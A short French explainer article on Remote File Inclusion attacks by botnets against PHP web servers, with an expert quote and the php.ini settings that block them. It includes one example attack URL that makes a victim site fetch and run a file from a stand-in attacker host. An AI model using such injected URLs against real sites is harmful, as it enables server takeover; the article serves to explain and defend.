L’inclusion de fichiers à distance ou comment avoir la main sur un serveur Web

Un réseau de robots (botnet) est un réseau d’ordinateurs utilisé pour envoyer du spam ou d’autres attaques à l’insu de leurs utilisateurs. Un seul réseau peut comprendre des centaines voire des milliers d’ordinateurs piratés.

Une attaque facile à déployer

Parmi les attaques les plus utilisées par les botnets figure l’inclusion de fichiers à distance (ou Remote File Inclusion). Celle-ci est facile à déployer de façon automatique. Le botnet possède un serveur piraté sur lequel il a placé un programme malveillant. Il utilise un paramètre d’un site victime pour amener celui-ci à télécharger et à exécuter le programme à distance obtenant ainsi, la possibilité de placer d’autres fichiers malveillants sur le serveur Web visé.

L’inclusion distante est basée sur l’exploitation d’une faille

Une inclusion distante ressemblerait à cela :

http://www.victime.com/index.php?IncludeDir=http://www.hacked.com/include.txt

L’inclusion de fichiers à distance exploite une faille de sécurité. Dans les fonctions fopen(), require(), include()... du langage PHP, il est possible d’émettre une connexion Web (ou FTP) vers un serveur distant si le paramètre passé n’est pas correctement contrôlé. Ces fonctions utilisent CURL permettant de faciliter le développement de services Web 2.0 (Web Services).

Une ampleur insoupçonnée

Michaël Vergoz, Directeur Technique R&D chez BinarySEC souligne que ce type de failles peut causer des dégâts importants :

« Une mauvaise configuration associée à un site web mal protégé se transforme en cocktail explosif. BinarySEC voit tous les jours des dizaines de sites piratés par Remote Inclusion.

Une fois le site victime touché, il est très facile pour le Botnet d’élever ses privilèges sur le serveur Web hébergeant le site. Ses privilèges augmentés, il est capable de contrôler totalement le serveur et ainsi de trouver de nouvelles machines à pirater ou encore utiliser le serveur pour attaquer d’autres sites ! Le botnet se propage alors comme un virus spécialement conçu pour attaquer les sites Internet. »

Des directives permettent de se protéger

Il existe deux directives INI pour parer à ce genre de problèmes:

  • la directive allow_url_fopen permet de ne pas autoriser l’ouverture de fichier distant par la fonction fopen(). Il n’est pas nécessaire de passer cette directive à Off car si un fichier distant est ouvert, il ne sera pas exécuté à la différence des fonctions require() ou include() qui elles, téléchargeront et exécuteront le fichier distant.
  • la directive allow_url_include permet de faire la même chose que la première sauf pour des fonctions plus dangereuses comme require() ou include(). Celle-ci doit être impérativement passée à Off !

(Article paru dans Réunion Multimédia)

Télécharger l'article en PDF